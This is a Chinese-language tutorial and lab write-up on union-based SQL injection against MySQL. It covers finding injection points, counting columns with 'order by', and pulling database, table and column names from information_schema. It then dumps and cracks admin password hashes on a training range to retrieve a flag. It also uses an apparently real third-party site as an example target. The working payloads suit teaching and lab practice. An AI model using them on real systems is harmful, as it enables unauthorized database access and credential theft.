一、導圖
二、MYSQL數據庫結構
我們的數據庫存儲的數據按照下面的形式,網站對應數據庫,數據庫中有很多的數據表,數據表中有
很多的列sql 獲取當前數據庫名,每一列中存儲著數據。
所以SQL注入的過程就是先拿到網站的數據庫名sql 獲取當前數據庫名,再獲取到當前數據庫名下的數據表,再獲取當前數據表下的列,最后獲取列中的數據。
網站A=數據庫A
?? ? ? 表名
? ? ?? ? ? 列名
? ? ? ? ? ? ? ? 數據
網站B=數據庫B
表名
列名
數據
網站C=數據庫C
表名
列名
數據
-實例-
mysql> show databases;? ? ? ? ? ? #展示數據庫名
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| sys |
+--------------------+
6 rows in set (0.00 sec)
mysql> use security; #選擇數據庫
Database changed
mysql> show tables; #展示數據表
+--------------------+

| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
mysql> select * from emails; #展示數據列以及列下的數據
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8 rows in set (0.00 sec)
三、判斷是否存在注入點
方法一
真 且 真 = 真
and 1 = 1 頁面正常
真 且 假 = 假
and 1 = 2 頁面異常
------>可能存在注入點
-實例-
原網址:
SELECT * FROM users WHERE id=1 LIMIT O,1
注入測試:

SELECT * FROM users WHERE id=1 and 1=1 LIMIT O,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT O,1 錯誤
------>可能存在注入點
方法二
在參數的后面隨便輸入一些亂七八糟的內容
返回頁面正常
------>不存在注入點
返回頁面不正常
------>可能存在注入點
原理:輸入了亂七八糟的內容后,如果返回頁面正常,則說明網頁不受輸入內容影響;返回頁面不正常則說明網頁將輸入的內容帶入數據庫進行了查詢,由于輸入內容不正確,返回了頁面則不正常,則說明這里可能存在注入點。
注意:當輸入了一些亂七八糟的內容之后,網頁返回“404錯誤”或者進行了跳轉,則說明本網站對輸入的內容可能有檢測,則說明這個網站大概率沒有注入漏洞。
-實例-
原網址:
219.153.49.228:48354/new_list.php?id=1
注入測試:
219.153.49.228:48354/new_list.php?id=1luanqibazaodneirong
返回頁面不正常
------>可能存在注入點
四、注入測試
參數x有注入,以下那個注入測試正確?
a. www.zhuruceshi.com/news.php?y=1 and1=1&X=2
b. www.zhuruceshi.com/news.php?y=1&x=2and 1=1
c. www.zhuruceshi.com/news.php?y=1 and 1=1&x=2 and 1=1
d. www.zhuruceshi.com/news.php?xx= and 1=1&xxx=2 and 1=1
以上四種注入測試中,b、c正確。
a錯誤的原因是:注入點不對,將”and1=1“放到了y的后面,而正確的注入點應該是x。
b為正常注入測試。
c分別在x、y后面都進行了注入測試,同樣可以對x實現注入測試。
d錯誤的原因是:參數不正確,”xx“和”xxx“都不是注入目標。
-實例-
如果id參數存在注入,對網站“www.cnhgs.net/main.php?id=53&page=1”應該怎么進行注入?
不能不管三七二十一直接在末尾添加“and1=1”進行注入測試,因為末尾參數是“page”,而不是注入目標“id”。
正確的注入方法有下面兩種:
www.cnhgs.net/main.php?id=53 and 1=1&page=1

www.cnhas.net/main.php?page=1&id=53 and 1=1
注意:在使用工具進行注入測試時,工具默認在網址最后面添加“and 1=1”進行注入測試,如果不對此加以注意就可能產生錯誤。
此時若想正確注入,方法有下面兩種:
在注入目標后添加“*”
www.cnhgs.net/main.php?id=53*&page=1
更改參數位置,將注入目標放在最后面
www.cnhas.net/main.php?page=1&id=53 and 1=1
五、猜解列數(字段數)
在網站末尾添加“order by + 數字“ ,尋找返回頁面正確與錯誤的臨界值,此值即為列數(字段數)。
-實例-
以下實例來自于墨者學院靶場
靶場地址為:
http://124.70.22.208:46802/new_list.php?id=1 and 1=1 order by 1
返回頁面正常
http://124.70.22.208:46802/new_list.php?id=1 and 1=1 order by 2
返回頁面正常
http://124.70.22.208:46802/new_list.php?id=1 and 1=1 order by 3
返回頁面正常
http://124.70.22.208:46802/new_list.php?id=1 and 1=1 order by 4
返回頁面正常
http://124.70.22.208:46802/new_list.php?id=1 and 1=1 order by 5
返回頁面不正常
------>列數(字段數)為:4
上述五次猜解網頁返回的頁面如下所示:
六、報錯猜解準備
在網站末尾添加“ union + 1~列數 ”。
-實例-
http://124.70.22.208:46802/new_list.php?id=1 union select 1,2,3,4
七、報錯猜解
將參數修改為錯誤值,讓網頁報錯。
可以在參數值前加“-”;也可以在參數值位置隨便輸入一些亂七八糟的內容。
-實例-
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,2,3,4
http://124.70.22.208:46802/new_list.php?id=1luanqibazaodneirong union select 1,2,3,4
八、信息收集
根據上一步報錯猜解網頁返回的數字,對應修改網址,來進行信息收集。
返回的了兩個數字,分別是“2”、“3”,因此,修改網址上的“2”、“3”為對應系統函數來進行信息收集。
系統函數如下:
數據庫名:database()
數據庫版本:version()
數據庫用戶名:user()
數據庫路徑:@@datadir
操作系統版本:@@version_compile_os
-實例-
使網頁返回數據庫名、數據庫版本
http://124.70.22.208:46802/new_list.php?id=-1%20union select 1,database(),version(),4
使網頁返回數據庫用戶名、數據庫路徑
http://124.70.22.208:46802/new_list.php?id=-1%20union select 1,user(),@@datadir,4
使網頁返回操作系統版本
http://124.70.22.208:46802/new_list.php?id=-1%20union select 1,@@version_compile_os,3,4
九、版本探測的意義
在.0以上版本中,Mysql 有一個系統數據庫““。
它是一個存儲記錄有所有數據庫名、表名、列名的數據庫,相當于利用該表可以進行一次完整的注入,通過查詢它獲取指定數據庫下面的表名、列名,進而幫助獲取到具體的數據信息。
數據庫中符號“ . ”代表下一級。
如:“diyi.dier”表示diyi數據庫下的dier表。
information_schema數據庫下面記錄所有數據庫名信息的表:information_schema.schemata

information_schema數據庫下面記錄所有表名信息的表:information_schema.tables
information_schema數據庫下面記錄所有列名信息的表:information_schema.columns
表名:table_name
列名:column_name
數據庫名:table_schema
-實例-
查詢指定數據庫名“mozhe_Discuz_StormGroup”下的表名信息
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
通過上述操作得到了據庫“mozhe_Discuz_StormGroup”下的表名信息,接下來進一步查詢列名信息:
查詢指定表名“StormGroup_member”下的列名信息
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
? ?
查詢指定表名“notice”下的列名信息
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice'
通過上述操作得到了表名“StormGroup_member”和表名“notice”下的列名信息,接下來進一步查詢指定數據信息:
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
賬號為:mozhe
密碼為:356f589a7df439f6f744ff19bb8092c0
密碼解密為:dsan13
經過測試,發現此賬號密碼并不正確,因此修改網址后再次查詢:
http://124.70.22.208:46802/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
賬號為:mozhe
密碼為:476aa2c1edd71f479d4c428e2ad9e785
密碼解密為:664531
最終發現第二次查詢到的賬號密碼正確,進入登錄頁面輸入后點擊“登錄”便進入了此網站的管理后臺。
在后臺頁面得到KEY:mozhe757d004432915faafed80fcbf3b
將KEY提交后便成功完成了本此漏洞利用。